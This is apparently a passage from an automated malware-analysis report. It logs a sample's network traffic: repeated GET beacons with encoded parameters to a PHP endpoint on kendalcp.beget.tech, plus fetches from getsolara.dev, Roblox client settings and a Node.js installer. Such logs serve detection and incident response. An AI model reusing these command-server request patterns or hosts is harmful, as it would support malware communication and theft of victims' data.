WS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic	HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1Host: www.nodejs.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1&4e7502ef07216f4df503d363b4584dad=b37e3e015ca59c90c17488162b3a141d&6d87c9ed05422ad98f508ceb2bec8047=QY4QjY2EjYiFWO3IjM5kDZmVjNiZDZxUWZhRWNiRGMyQGOhhjM2MmZ&DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1 HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1IT